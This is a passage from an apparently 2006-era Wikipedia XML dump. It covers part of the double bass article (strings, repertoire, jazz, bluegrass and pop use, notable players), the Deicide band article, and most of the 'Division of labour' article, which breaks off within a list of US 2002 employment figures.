The bass bow is strung with white or black horsehair or a combination of black and white (known as salt and pepper), as opposed to the customary white horsehair used on the bows of other string instruments. The slightly rougher black hair more effectively &quot;grabs&quot; the heavier strings.

In order to help the hair to grip the string, string players use [[rosin]] on the hair of their bows. Unlike violin rosin, which is hard and dry, bass rosin is softer and stickier, to give the greater adhesion to the strings required on the larger instrument.

== Strings ==
Some basses have five strings; the additional string may be either an extra high string (tuned to C) or an extra low string tuned to B. Such basses are larger than usual, somewhat harder to play, and rare. In order for a double bass to have five strings, the instrument must be designed to handle the increased pressure on the top and neck caused by the additional string.

[[Image:IMG_3268.sized.jpg|thumb|right|Chromatic 'C' Extension By Chris Threlkeld-Wiegand courtesy Heartlandstring Bass Shop http://heartlandsbs.com/gallery2/main.php?g2_view=core.ShowItem&amp;g2_itemId=568]]
Many four-string basses have a 'C extension' which extends the lowest string down as far as low C, a note an octave below the lowest note on the cello. This may take the form of an extra section of fingerboard mounted up over the head of the bass, which requires the player to reach back over the pegs to play, or of a mechanical lever system where keys are positioned next to the neck in the positions which the corresponding notes would occupy if the instrument had a fifth string. The extension is invaluable in classical music, because the bass often does not have a separately written part but is told to play the 'cello part an octave lower, a practice known as 'doubling'.

There are two main string materials. Traditionally the strings have been made of gut, and since the 20th century, steel has been the most popular material due to its better playability. Gut strings are nowadays mostly used by individual players who prefer the tone of the gut string. Some bassists who perform in baroque ensembles use gut strings to get a lighter, &quot;warmer-sounding&quot; tone that is more appropriate for music from the 1600s and early 1700s. As well, bassists in [[rockabilly]], traditional [[blues]] bands, and [[bluegrass]] groups often use gut strings, because they have a &quot;thumpy&quot;, darker tone when they are played pizzicato (plucked), which better approximates the sound heard on 1940's and 1950's recordings. As well, rockabilly and bluegrass bassists prefer gut because it is much easier to perform the &quot;slapping&quot; upright bass style (in which the strings are percussively slapped and clicked against the fingerboard) with gut strings than with steel strings (for more information on slapping, see the sections above on Playing styles, or below on Double bass in bluegrass music).

Gut strings are more vulnerable to changes of humidity and temperature, and they break much more easily than steel strings. The change from gut to steel has also affected to the instrument's playing technique over the last hundred years, because playing with steel strings allows the strings to be set up closer to the fingerboard, and as well, steel strings can be played in higher positions on the lower strings and still produce clear tone. The classic 19th century Franz Simandl method does not utilize the low E string in higher positions because with older gut strings set up high over the fingerboard, the tone was not clear in these higher positions. However, with modern steel strings, bassists can play with clear tone in higher positions on the low E and A strings, particularly when modern lighter-gauge, lower-tension steel strings (e.g. Corelli/Savarez strings) are used.

== Classical double bass repertoire ==
In [[European classical music]], the double bass has been primarily used to provide a solid but more or less simple bass line. Bass soloists are rare but not unheard of. [[Domenico Dragonetti]] was perhaps the first soloist of note. He was a friend of [[Ludwig van Beethoven|Beethoven]] and together they presented a number of 'cello sonatas with the composer on piano; in addition, Dragonetti often performed the 'cello solos in Beethoven's pieces in performances.

[[Giovanni Bottesini]], a 19th century virtuoso on the instrument, was sometimes called the [[Niccolo Paganini|Paganini]] of the double bass. He wrote a number of concert pieces for the instrument, including [[concerto]]s, and also pedagogical works.

Few solo works have been written for the instrument by better known composers, though there are several examples and exceptions; one of these is the [[Mozart]] aria [[Ludwig von Köchel|KV]] 612 &quot;Per questa bella mano&quot; (By this beautiful hand). 

It is known that [[Joseph Haydn]] wrote a concerto for double bass, Hob. VIIc 1, which has now been lost. It was written for Johann Georg Schwenda, an outstanding double bassist at Esteháza. Remaining evidence of his regard for the instrument can be found in solo passages he wrote for it in the trios of the [[minuet]]s in his symphonies numbers [[Symphony No. 6 (Haydn)|6]], [[Symphony No. 7 (Haydn)|7]] and [[Symphony No. 8 (Haydn)|8]] (''Le Matin'', ''Le Midi'' and ''Le Soir''). All were probably written for the player Friedrich Pichelberger. Also around this time [[Carl Ditters von Dittersdorf]] wrote a number of works for the double bass, including a number of concertos and a Sinfonia concertante for viola, double bass, and orchestra.

Later pieces with solo parts for the bass include a duo for [[cello|'cello]] and double bass by [[Gioacchino Rossini]].  Popular with bassists is [[Niccolo Paganini]]'s ''Fantasy on a Theme by Rossini'', a 20th-century trancription of the violin original.  The famous ''[[Trout Quintet]]'' by [[Franz Schubert]] added the double bass to the traditional piano quartet, creating an ensemble consisting of all four members of the bowed string family plus piano. [[Antonin Dvorak]] wrote a much less well known quintet in which the standard string quartet is augmented by adding a double bass. Probably the most famous classical piece featuring double bass is &quot;The Elephant&quot; from [[Camille Saint-Saëns]]' ''The Carnival of the Animals''. Also worthy of note is the passage which begins the third movement of [[Gustav Mahler]]'s [[Symphony No. 1 (Mahler)|1st symphony]] where a solo double bass quotes a minor key version of the children's song &quot;Frere Jacques.&quot;

In the [[20th century]] the bass has been somewhat better served in classical music, although it is still only rarely used as a solo instrument. One of the very few double bass [[concerto]]s is by [[Serge Koussevitzky]] (better known as a [[Conducting|conductor]]), a piece written in 1905. The [[Estonia]]n composer [[Eduard Tubin]] wrote a concerto for double bass in 1948 which is regarded as one of the finest compositions for the instrument. Other works for double bass and orchestra include [[Gunther Schuller]]'s Concerto (1962), [[Hans Werner Henze]]'s Concerto (1966), [[Einojuhani Rautavaara]]'s ''Angel Of Dusk'' (1980), and [[Gian-Carlo Menotti]]'s Concerto (1983). Other pieces to feature the instrument include [[Luciano Berio]]'s ''Psy'' (1989), for solo bass; ''Composition II'' (1973) by [[Galina Ustvolskaya]], for eight double basses, [[drum]] and [[piano]]; and a [[sonata (music)|sonata]] for double bass and piano by [[Paul Hindemith]] (who also wrote a number of other pieces for unusual solo instruments). Additionally, in recent years there has been a rise in works for solo double bass. From 1975-1976, ''Theraps'' for solo double bass was composed by [[Iannis Xenakis]]. Other composers that have written for solo double bass include [[Christian Wolff]], [[Hans Werner Henze]], Emil Tabakov, Henrik Hellstenius, Hans Fryba, Ase Hedstrom, Tom Johnson, [[Arne Nordheim]], and Asmund Feidje.

Over the last thirty years or so players such as [[Bertram Turetzky]] and [[Gary Karr]] have commissioned a large number of new works. Player and composer [[Edgar Meyer]] has written three [[concertos]] for the instrument and arrangements of [[Johann Sebastian Bach|Bach]]'s [[Cello Suites (Bach)|unaccompanied 'cello suites]].  Meyer also includes the double bass in the majority of his [[Chamber music|chamber music]] compositions.  Player and teacher [[Rodney Slatford]], via his company ''Yorke Edition'', has done much to publish both old and new music for the double bass.

==Double bass in jazz==
The bass is one of the most prominent instruments in [[jazz]]. The early jazz ensemble (from about 1890) was initially a marching band with [[tuba]] (or occasionally [[bass saxophone]]) supplying the bass line. As the music moved into bars, clubs, and brothels, the double bass gradually replaced these wind instruments. Initially playing 2 or 4 beats to a bar, the walking bass line was an early melodic, harmonic invention that is still evolving today.  Because an unamplified double bass is generally the quietest instrument in a jazz band, many players of the 1920s and 1930s used the ''slap style'', slapping and pulling the strings so that they make a rhythmic &quot;slap&quot; sound against the fingerboard. The slap style cuts through the sound of a band better than simply plucking the strings.

With nearly every major change in the evolution of jazz, double bass players have contributed in an important way. Examples include swing era players such as [[Ray Brown]] and [[Jimmy Blanton]], who played with [[Duke Ellington]] and [[Oscar Peterson]]. All were famous for their ability to swing and drive a big band along, often without amplification, in addition to being great small ensemble players.

The &quot;cool&quot; style of jazz has been influenced and extended by players such as [[Scott LaFaro]], a refined and stunning technical and musical virtuosity, and [[Percy Heath]], who played in an unforgettably solid but swinging manner and whose solos were melodically graceful and poetic.  One must not forget the great [[Paul Chambers]] who worked on the [[Kind of Blue]] album with [[Miles Davis]], one of the most influential albums in the history of jazz.

[[Free jazz]] was embraced and extended by composer/bassists such as [[Charles Mingus]] and [[Charlie Haden]]. 

Jazz-rock was the style of players such as [[Stanley Clarke]] and [[Miroslav Vitouš]], and, although both of these players used electric bass, they did not neglect the double bass, incorporating bowed and pizzicato solos that showed Spanish and classical influence. These players also continued to raise the bar of technical virtuosity on the double bass, performing extended solos that fused complex rhythms, intricate rapid lines, and fluid melodic expression.

== Double bass in bluegrass music ==
The string bass is the most commonly-used bass instrument in [[bluegrass music]].  Most  bluegrass bassists use the 3/4 size bass. The [[Englehardt]] or [[Kay]] brands of basses have long been popular choices for bluegrass bassists. Less frequently, the full and 5/8 size basses are used.  The upright bass is almost always plucked in bluegrass music, though some modern bluegrass bassists have also used a bow.

The bluegrass bass is responsible for keeping time in the [[polyrhythmic]] conditions of the bluegrass tune, enhancing the flow of the music with tasteful fills and runs. Most important is the steady beat, whether fast, slow, in 4/4 time, 2/4 or 3/4 time.

Early pre-bluegrass music was often accompanied by the [[cello]], which was bowed as often as plucked. Some contemporary bluegrass bands favor the [[electric bass]], but it has a different musical quality than the plucked upright bass. The upright bass gives energy and drive to the music with its percussive, woody tone. 

&quot;Slapping&quot; is a widely-used bluegrass playing technique. When upright players play in the &quot;slapping&quot; style, they combine regular plucking with slapping or pulling the strings so that they percussively hit the fingerboard. To the uninitiated, it sounds like the bass player is simultaneously playing a bassline and playing a snare drum. In the simplest uses of slapping, bassists will slap in between plucked notes to add to the pulse of the song. In the hands of a virtuoso picker, slapping can involve exciting sequences of rapid double and even triple slaps interspersed with regular plucking. Like other bassists that use the slapping style (such as [[rockabilly]] or 1920's-era [[jazz]] revivalists), bluegrass musicians sometimes use gut strings.

Common rhythms in bluegrass bass playing involve (with some exceptions) plucking on beats 1 and 3 in 4/4 time; beats 1 and 2 in 2/4 time, and beats 1 and 3 and in 3/4 time (waltz time).  Bluegrass bass lines are usually extremely simple, typically staying on the root and fifth of each chord throughout much of a song.  There are two main exceptions to this &quot;rule&quot;. Bluegrass bassists often do a scalar &quot;walkup&quot; or &quot;walkdown&quot; in which they play every beat of a bar for one or two bars, typically when there is a prominent chord change. In addition, if a bass player is given a solo, they may do a &quot;[[walking bass]] line&quot; and play scale notes on every beat of the bar that connect the chords of the song.  Even though bluegrass bass lines may be relatively simple from a technical point of view, there is a great deal to learn about how to play bass tastefully and in a stylistically appropriate way for all of the different types of songs in the bluegrass style.

[[Cedric Rainwater]], bassist for [[Bill Monroe]] and later [[Flatt and Scruggs]], helped to define the bluegrass sound with his characteristic root and fifth approach where the 1 and 3 beats are emphasized, as well as his incorporation the [[walking bass]] style, where each beat in 4/4 time is plucked, going up and down the major and Mixolydian (flat VII) scales. 

Notable bass players in contemporary bluegrass music:
* [[Roy Huskey, Jr.]]
* [[Jake Tulloch]]
* [[Missy Raines]]
* [[Mike Bub]]
* [[Barry Bales]]
* [[Tom Gray]]

==Double bass in popular music==
[[Image:Bill Haley and the Comets.jpg|thumb|300px|right|In 1952, the upright bass was a standard instrument in rock n' roll, here played by [[Marshall Lytle]] (left).]]
The double bass was an integral part of pop lineups in the 1950s ranging from Bill Haley and the Comets to Elvis Presley. This is due to the [[jazz]], R&amp;B, [[country]] and [[bluegrass music|bluegrass]] roots of 1950's rock and roll. 
[[Image:Beatlessullivantogether.jpg|thumb|left|By 1964, rock n'roll bassists such as [[Paul McCartney]] (left) used electric bass guitars almost exclusively.]]
However, it faced inherent problems. For one, it was forced to compete with louder horn instruments (and later amplified [[electric guitar]]s), making bass parts difficult to hear. The double bass is difficult to amplify in loud concert venue settings, because it can be prone to feedback &quot;howls&quot;. As well, the double bass is large and awkward to transport, which created transportation problems for touring bands.

In 1951, [[Leo Fender]] independently released his [[Precision Bass]], the first commercially successful [[bass guitar|electric bass guitar]]. The electric bass was easily amplified with its built-in pickups, easily portable (less than a foot longer than an electric guitar), and easier to play in tune, thanks to the metal frets. In the 1960s and 1970s bands were playing at louder volumes and performing in larger venues. The electric bass was able to provide the huge, highly-amplified stadium-filling bass tone that the pop and rock music of this era demanded, and the double bass receded from the limelight of the popular music scene.

The upright bass began making a modest comeback in popular music in the mid-1980s, in part due to a renewed interest in earlier forms of rock and country music. The rockabilly revival led by the chart-topping [[Stray Cats]] made upright basses &quot;hip&quot; again. In the 1990s, improvements in pickups and amplifier designs for electro-acoustic horizontal and upright basses made it easier for bassists to get a good, clear amplified tone from an acoustic instrument. Popular bands such as the Canadian group [[Barenaked Ladies]] decided to anchor their sound with an upright bass instead of an electric bass. A trend for &quot;unplugged&quot; performances further helped to enhance the public's interest in the upright bass and acoustic bass guitars. 

The double bass is also favored over the [[electric bass]] guitar in many [[rockabilly]] and [[psychobilly]] bands. Scott Owen of [[The Living End]] is an example of a double bassist playing in a [[punk rock]] band. Even in the early 2000's, the upright bass continued its comeback, with [[psychobilly]] groups such as [[Tiger Army]] and the [[Horrorpops]] using the upright bass.

==Double bassists==
===Notable classical double bass players of historical importance===
* [[Giovanni Bottesini]]
* [[Domenico Dragonetti]]
* [[Serge Koussevitzky]]
* [[Edouard Nanny]]
* [[Franz Simandl]] (1840-1912) author of &quot;New Method for the Double Bass&quot;

=== Contemporary classical double bass players ===
* [[Edwin Barker]]
* [[Mark Dresser]]
* [[Trevor Dunn]] (avant-garde)
*[[Diana Gannett]]
* [[Barry Green]] also author of ''The Inner Game of Music''	 
* [[Fernando Grillo]]
* [[Teppo Hauta-Aho]]
* [[Gary Karr]]
* [[Jorma Katrama]]
* [[Eugene Levinson]]
* [http://www.thomasmartin.co.uk/ Thomas Martin]
* [[Duncan McTier]]
* [[Homer Mensch]]
* [[Edgar Meyer]]
* [[Franco Petracchi]]	 
* [[Joel Quarrington]]
* [[François Rabbath]]	 
* [[Hal Robinson]]	
* [http://www.bartoszsikorski.com Bartosz Sikorski] 
* [[Rodney Slatford]]	 
* [[Bertram Turetzky]]	 
* [[Allan von Schenkel]]	 
* [[David Walter]]
* [http://www.daxunzhang.com DaXun Zhang]

===Jazz double bass players===
:''See [[List of jazz bassists]], which includes both double bass and electric bass players.'' 

=== Double bass players in other popular genres===
&lt;!--Or: Double bass players in popular music==--&gt;
*   Eberhard Weber, ECM
* [[Ray Campi]], rockabilly
* [[Ron Carter]]
* [[Stanley Clarke]]
* [[Les Claypool]], rock
* [[John Clayton, Jr.]]
* [[Jim Creeggan]], bassist with [[Barenaked Ladies]]
* [[Mark Dresser]]
* [[Trevor Dunn]]
* [[Marshall Lytle]], rock and roll
* [[Bob Moore]], rock and roll, country
* [[Scott Owen]], rock
* [[Walter Page]]
* [[John Patitucci]]
* [[Niels-Henning Ørsted Pedersen]]
* [[Al Rex]]
* [[Lee Rocker]], rockabilly
* [[Jasper Somsen]]
* [[Sebastian Steinberg]], double bassist with [[Soul Coughing]]
* [[Sting (musician)|Sting]], rock
* [[Jonathan Sullivan]]
* [[Jim Tavare|Jim Tavaré]]
* [[Danny Thompson]], folk rock
* [[Jon Thorne]]
* [[Rob Wasserman]], rock
* [[Chris Wood (jazz musician)|Chris Wood]]

==See also==
*[[Electric upright bass]]
*[[List of jazz bassists]]
*[[Octobass]]
*[[Bass guitar]]
*[[International Society of Bassists]]

== References and external links ==
* [http://www.bassplaza.com/ BassPlaza.com].
* [http://www.earlybass.com/ Double Bass and Violone Internet Archive]
* [http://ebass.nl/ Site about Electric Upright Basses (EUB)]
* [http://www.gollihur.com/kkbass/basslink.html/ Bob Gollihur's Bass site].
* [http://www.DoubleBassGuide.com/ Double Bass Guide].
* [http://www.ojbr.com/ The Online Journal of Bass Research]
* [http://www.lemur-music.com/  An online store strictly for the double bass].
* [http://4stringchords.com/  Chord finder for bass and other four-string instruments]
* [http://www.silviodallatorre.com/ Website with much information on playing techniques, tuning systems, the &quot;New Dutch School&quot;, the Bassetto and other topics]
* [http://basscast.org/ The BassCast - A podcast for musicians who play the double bass.]
* [http://www.liutaiomottola.com/instruments/canotto.htm The Canotto Upright Acoustic Bass] - A short article on a Savart style upright.

[[Category:Bowed instruments]]
[[Category:Continuous pitch instruments]]
[[Category:Musical instruments]]
[[Category:String instruments]]

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  <page>
    <title>Deicide (band)</title>
    <id>8817</id>
    <revision>
      <id>42084696</id>
      <timestamp>2006-03-03T18:51:49Z</timestamp>
      <contributor>
        <ip>12.154.167.143</ip>
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      <text xml:space="preserve">[[Image:Deicide - Deicide.jpg|thumb|right|150px|Self Titled CD, and first release under the name '''Deicide''']]

'''Deicide''' is an [[United States|American]] [[death metal]] band. The word ''[[deicide]]'' means &quot;the killing of a [[deity|god]]&quot;, analogous to [[suicide]] meaning &quot;the killing of the self&quot; or [[homicide]] meaning &quot;the killing of someone else&quot;.

The band was formed in [[Florida death metal|Florida]] in [[1987]], first playing under the name '''Carnage'''. After Glen Benton joined the name was changed to '''Amon'''. During this time they released two demos: ''Feasting the Beast'' ([[1987]]) and ''Sacrificial'' ([[1989]]). In [[1989]] the band's name was changed to Deicide by force of Roadrunner records, as Amon was the name of the house in the [[King Diamond (band)|King Diamond]] album ''Them''. Then, they released their debut, self-titled album.

The band has been plagued by controversy relating to their heavy anti-[[Christianity|Christian]] (and supposedly [[Satanism|Satanist]]) beliefs. This was only reinforced by such stunts as an upside down cross burned into Benton's forehead (which he may have done with a heated piece of cross-shaped metal).

The band's original line up, which was: [[Glen Benton]] on bass and vocals, brothers [[Eric Hoffman]] and [[Brian Hoffman]] on [[guitars]], and [[Steve Asheim]] on [[drums]]. Both Eric and Brian are considered some of the most talented guitar players in death metal, playing complex solos at ridiculous speeds and overlapping riffs which give Deicide the definitive heavy sound and complex song structures which are ultimately recognized as theirs. This line up remained intact until [[25 November]], 2004 when Glen Benton announced that the Hoffman brothers had been ejected from the band for repeatedly cancelling shows and walking out on tours. For the remainder of the current tour, one guitar slot has been filled by ex-[[Cannibal Corpse]] guitarist, Jack Owen, and the other by new permanent band member, [[Vital Remains]] guitarist, Dave Suzuki. Following the tour, Owen will be replaced by Tony Lazaro, the other guitarist from [[Vital Remains]] in the new Deicide line-up. Ralph Santolla is also featured in the touring lineup of the band as of 2005. Later, Eric Hoffman hit back at Benton claiming he was unprofessional and lied about tour cancellations. More can be read here: [http://www.alternativenation.net/forums/extreme-metal/69255-glen-benton-lied-public-about-tour-cancellations-he-gits-cried.html.] Recently after a long time, Benton replied to their claims: [http://www.roadrunnerrecords.com/blabbermouth.net/news.aspx?mode=Article&amp;newsitemID=49065]


Deicide almost exclusively perform songs with anti-[[Christianity|Christian]] themes, and are banned from some places like many other controversial bands. 

==Discography==
*''[[Amon, Feasting the Beast (album)|Amon:Feasting the Beast]]'' (as Amon, re-released in 1993)
*''[[Deicide (album)|Deicide]]'' (1990)
*''[[Legion (album)|Legion]]'' (1992)
*''[[Ex aime la bite (mini LP) | Anaal Ex ]]''  (1993)
*''[[Once Upon The Cross (album)|Once Upon The Cross]]'' (1995)
*''[[Serpents Of The Light (album)|Serpents Of The Light]]'' (1997)
*''[[Deicide (album)|Deicide: Remastered]]'' (1998)
*''[[When Satan Lives (album)|When Satan Lives]]'' (1998, live album recorded at the [[House of Blues]] in [[Chicago, Illinois]])
*''[[Insineratehymn (album)|Insineratehymn]]'' (2000)
*''[[In Torment In Hell (album)|In Torment In Hell]]'' (2001)
*''[[The Best of Deicide (album)|The Best of Deicide]]'' (2003)
*''[[Scars of the Crucifix (album)|Scars of the Crucifix]]'' (2004)
*''[[The Stench Of Redemption (album)|The Stench Of Redemption]]'' (to be released 6/6/06)


[[Category:Death metal musical groups]]
[[Category:American heavy metal musical groups]]

==External links==
* [http://www.earache.com/ Earache Records]
* [http://www.earache.com/bands/deicide/deicide.html Deicide Page at Earache Records]	
* [http://www.ultimatemetal.com/forum/forumdisplay.php?f=266 Earache.com's Discussion Forums]
* [http://www.deicide.com/ Deicide.com - The Official Deicide Website]

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    <title>Digital Video Disc</title>
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    <title>Digital video disc</title>
    <id>8819</id>
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    <id>8820</id>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
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    <title>Digital versatile disc</title>
    <id>8821</id>
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    <title>Danny Williamson</title>
    <id>8822</id>
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      <id>15906767</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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  <page>
    <title>Division of labour</title>
    <id>8824</id>
    <revision>
      <id>41985697</id>
      <timestamp>2006-03-03T01:26:16Z</timestamp>
      <contributor>
        <ip>71.227.82.40</ip>
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      <comment>/* Xenophon */</comment>
      <text xml:space="preserve">'''Division of labour''' is generally speaking the specialisation of cooperative labour in specific, circumscribed tasks and roles, intended to increase efficiency of output. Historically the growth of a more and more complex division of labour is closely associated with the rise of [[capitalism]], the growth of [[trade]] and complexity of [[industrialization]] processes. Later, the division of labor reached the level of a scientifically-based management practice with the time and motion studies associated with [[Taylorism]].

In the history of the human species, the first division of labour was between men and women, but it became ever more sophisticated since the invention of [[agriculture]] and the dawn of [[civilization]]. Some other [[social animal]]s also exhibit a division of labour.

What appeared to some as the idyllic &quot;wholeness&quot; of pre-civilized life in humans was thought to be due first and foremost to people not being differentiated into specialized roles and functions. That interpretation is countered by the [[primitive]], [[survivalist]] [[habitus]] of prehistoric man who spent much of his time foraging. [[Anarcho-primitivism]] and [[Primitive Communism]] are two other theories which explore the politics of these [[primitivism|primitivist]] economic states.

==Plato==

In [[Plato]]'s ''[[Republic (dialogue)|Republic]]'' we are instructed that the origin of the state lies in that &quot;natural&quot; inequality of humanity that is embodied in the division of labour.

&quot;Well then, how will our state supply these needs? It will need a farmer, a builder, and a weaver, and also, I think, a shoemaker and one or two others to provide for our bodily needs. So that the minimum state would consist of four or five men....&quot; (''The Republic'', Page 103, Penguin Classics edition.)

==Xenophon==

[[Xenophon]], writing in the fourth century BC makes a passing reference to division of labour in in his 'Cyropaedia' or [[Education Of Cyrus]]
&quot;Just as the various trades are most highly developed in large cities, in the same way food at the palace is prepared in a far superior manner. In small towns the same man makes couches, doors, ploughs and tables, and often he even builds houses, and still he is thankful if only he can find enough work to support himself. And it is impossible for a man of many trades to do all of them well. In large cities, however, because many make demands on each trade, one alone is enough to support a man, and often less than one: for instance one man makes shoes for men, another for women, there are places even where one man earns a living just by mending shoes, another by cutting them out, another just by sewing the uppers together, while there is another who performs none of these operations but assembles the parts, Of necessity, he who pursues a very specialised task will do it best.&quot; (Cited in ''The Ancient Economy'' by M. I. Finley. Penguin books 1992, p 135.)

==Sir William Petty==
[[Sir William Petty]] was the first modern writer to take note of division of labour, showing its existence and usefulness in Dutch shipyards.  Classically the workers in a shipyard would build ships as units, finishing one before starting another.  But the Dutch had it organised with several teams each doing the same tasks for successive ships.  People with a particular task to do must have discovered new methods that were only later observed and justified by writers on political economy.   

Petty also applied the principle to his survey of Ireland.  His breakthrough was to divide up the work so that large parts of it could be done by people with no extensive training.  (The ethics of doing this is another matter.)

==Adam Smith==

In the first sentence of ''[[An Inquiry into the Nature and Causes of the Wealth of Nations]]'' (1776), [[Adam Smith]] foresaw the essence of industrialism by determining that division of labour represents a qualitative increase in productivity. His original example was the making of pins. Unlike Plato, Smith did not regard the division of labour as a consequence of human inequality but famously argued that the difference between a street porter and a philosopher was as much a consequence of the division of labour as its cause. Therefore, while for Plato the level of specialisation determined by the division of labour was externally determined, for Smith it was the dynamic engine of economic progress.  However, in a further chapter of the same book Smith criticises the division of labour saying it leads to a 'mental mutilation' in workers; they become ignorant and insular as their working lives are confined to a single repetitive task. This contradiction has led to some debate over Smith's opinion of the division of labour.

The [[specialization]] and concentration of the workers on their single subtasks often leads to greater skill and greater productivity on their particular subtasks than would be achieved by the same number of workers each carrying out the original broad task.  

Worker skill is the chief source of productivity gain in Smith's thinking. In modern economic theory, that role has been taken over by overall [[technology|technological]] progress and the concept of [[human capital]].

== Karl Marx ==

Increasing specialization may also lead to workers with poorer overall skills and a lack of enthusiasm for their work. This viewpoint was extended and refined by [[Karl Marx]]. He described the process as [[Marx's theory of alienation|alienation]]; workers become more and more specialized and work repetitious which eventually leads to complete alienation. Marx wrote that &quot;with this division of labour&quot;, the worker is &quot;depressed spiritually and physically to the condition of a machine&quot;. He believed that the fullness of production is essential to human [[liberation]] and accepted the idea of a strict division of labour only as a temporary ''necessary evil''.

Marx's most important theoretical contribution was his sharp distinction between the ''social'' division and the ''technical'' or economic division of labour. That is, some forms of labor cooperation are due purely to ''technical necessity'', but others are purely a result of a ''social control'' function related to a class and status hierarchy. If these two divisions are conflated, it might appear as though the existing division of labour is technically inevitable and immutable, rather than (in good part) socially constructed and influenced by [[Power (sociology)|power]] relationships. 

It may be, for example, that it is technically necessary that both pleasant and unpleasant jobs must be done by a group of people. But from that fact alone, it does not follow that any particular person must do any particular (pleasant or unpleasant) job.
If particular people get to do the unpleasant jobs and others the pleasant jobs, this cannot be explained by technical necessity; it is a socially made decision, which could be made using a variety of different criteria. The tasks could be rotated, or a person could be assigned to a task permanently, and so on. 

Marx also suggests that the capitalist division of labour will evolve over time such that the maximum amount of labour is [[productive and unproductive labour|productive labour]], where productive labour is defined as labour which creates [[surplus value]]. 

However, [[time use survey]]s suggest that commercially performed labour always depends on, and goes together with, the performance of a very large amount of  voluntary labour. To the extent that state [[subsidies]] are cut and [[privatisation]] increases, more work often devolves on people who must do that work without pay.

In Marx's [[communist]] utopia, the division of labour is transcended, meaning that balanced human development occurs where people fully express their nature in the variety of creative work that they do.

==Durkheim==

[[Émile Durkheim]] wrote about a fractionated, unequal world by divining it along the lines of &quot;[[Solidarity (sociology)|human solidarity]],&quot; its essential moral value is division of labour. In 1893 he published &quot;[[The Division of Labor in Society]]&quot;, his fundamental statement of the nature of [[human society]] and its [[social development]]. According to [[Franz Borkenau]] it was a great increase in division of labour occurring in the 1600s after the [[Industrial Revolution]] that introduced the abstract category of work, which may be said to underlie, in turn, the whole modern, [[Cartesian]] notion that our bodily existence is merely an object of our (abstract) consciousness.

==Von Mises, and globalisation==

On the other hand, Marx's theories, including the negative claims regarding the division of labour have been criticized by the [[Austrian economists]], such as [[Ludwig von Mises]]. 

The main argument here is that the gains accruing from the division of labour by far outweigh the costs; that it is fully possible to achieve balanced human development within [[capitalism]], and that [[alienation]] is more a [[romantic]] fiction. After all, work is not all there is; there is also [[leisure]] time.

The issue reaches its broadest scope in the controversies about [[globalisation]], which is often interpreted as a euphemism for the expansion of world trade based on [[comparative advantage]].
This would mean that countries specialise in the work they can do best. Critics however allege that international specialisation cannot be explained very well in terms of &quot;the work nations do best&quot;, rather this specialisation is guided more by [[commerce|commercial]] criteria, which favour some countries over others. 

The [[OECD]] recently advised ([[28 June]] [[2005]]) that:

&quot;Efficient policies to encourage employment and combat
unemployment are essential if countries are to reap the full benefits of globalisation and avoid a backlash against open trade... Job losses in some sectors, along with new job opportunities in other sectors, are an inevitable accompaniment of the process of globalisation... The challenge is to ensure that the adjustment process involved in matching available workers with new job openings works as smoothly as possible/.&quot;

==Modern debates==

In the modern world, those specialists most preoccupied in their work with theorising about the division of labour are those involved in [[management]] and [[organisation]]. In view of the global extremities of the division of labour, the question is often raised about what division of labour would be most ideal, beautiful, efficient and just. 

Labour [[hierarchy]] is to a great extent inevitable, simply because no one can do all tasks at once; but of course the way these hierarchies are structured can be influenced by a variety of different factors. The question to ask is what the hierarchy is a hierarchy of.

An important Western concept in this regard is the concept of [[meritocracy]], which could alternately be read as an [[explanation]] or as a [[justification]] of why a division of labour is the way it is. But it is often agreed that the most equitable principle in allocating people within hierarchies is that of true (or proven) [[competency]] or [[ability]].

==US 2002 estimates for the division of labour==

Statistics may help to reveal some of the dimensions of the division of labour. This example concerns the USA.

First, we can derive the ''basic'' employment categories in the USA in 2002 in approximate figures from BLS data, as follows (working our way down from the total population):

*American total resident population 288 million
*population (16+) 224 million
*economically active population 218 million
*total civilian non-institutional population (16+) 215 million
*population 16-65 years old 188 million
*civilian labour force 145 million
*employed civilian labour force 137 million
*Unpaid family workers 0.03 million
*employers 10 million (4.9 million distinct firms, 7 million establishments)
*self-employed (farm) 1 million
*self-employed (non-farm) 9 million
*wage &amp; salary earners 136 million
*employees 127 million
*government employees 20 million
*private sector workforce 105 million
*Parttime workers non-farm 27 million
*Parttime workers farm 0.5 million
*private sector waged employees 95 million
*unionised wage earners   18 million

We can then look at the proportions of what the ''total American population'' actually did in 2002, in approximate figures and broad categories:

*Children (under 16, not working for pay) 64 million
*Retired (over 65, not in the labour force) 28 million
*Fulltime housewives, house-husbands and idle not working for pay 22 million
*Industrial production workers 26.2 million
*Managers and executives 15.8 million
*Clerical and administrative workers 15.3 million
*Sales workers 15 million
*Reserve army of unemployed 13 million
*Engineers, architects, technicians, programmers and scientists 10.5 million
*Employers of workers, all kinds 9.8 million
*Supervisors of workers, all kinds 9.1 million
*Teachers, professional childcare workers and paid childcare assistants 8 million
*Transport workers 5 million
*Unskilled labourers, handlers and helpers  4.8 million
*Aides, ushers, guides, orderlies, and attendants 4.8 million
*Personal care, health and medical workers 4.3 million
*Cleaners, janitors, private cooks, maids &amp; housekeepers 3.7 million
*Accountants, auditors, underwriters, and financial officers 2.6 million
*Adults in institutional care n.e.c. 2.5 million
*Specialists &amp; consultants in human resources, PR and labour relations  2.1 million
*Prison &amp; jail inmates 2 million
*Artists, entertainers &amp; designers, photographers, professional athletes, recreational services 1.6 million
*Nursing home residents 1.6 million
*Fulltime criminals and lumpenised, not in corrective institutions 1.5 million
*Lawyers, judges and legal assistants 1.3 million
*Therapists, counselors, social workers and welfare service aides 1.2 million
*Police, detective, and law enforcement officers 1.2 million
*Medical doctors, dentists, vetinarians, optometrists, and podiatrists 1.1 million
*Military personnel, domestic 1.1 million
*Groundskeepers, gardeners, animal caretakers (non-farm) 1.1 million
*Security guards   1 million
*Farmers 1 million
*Prostitutes 1 million
*Working children (under 16) 1 million
*Inspectors (construction, production and compliance) 0.9 million
*Editors, writers, reporters, proofreaders, librarians, archivists, and curators 0.6 million
*Adult hospital patients 0.5 million
*Religious clergy, and employees of religious institutions 0.4 million
*Corrective institution &amp; prison officers 0.3 million
*Firefighting, fire prevention and pest control workers 0.3 million
*Water, sewage and electricity workers 0.2 million
*Hospice inpatients 0.1 million
*Adult psychiatric patients 0.2 million

Finally, we can look at the occupational structure of the employed labour force (including salaried and self-employed) in the USA in 2002, in broad categories, as follows:
 
*Managers and executives 15,800,000
*Supervisors 9,100,000
*Teaching staff, all kinds  6,600,000
*Machine operating and assembly workers 6,400,000
*Food &amp; beverage preparing and service workers 6,100,000
*Administrative support clerks n.e.c.  5,800,000
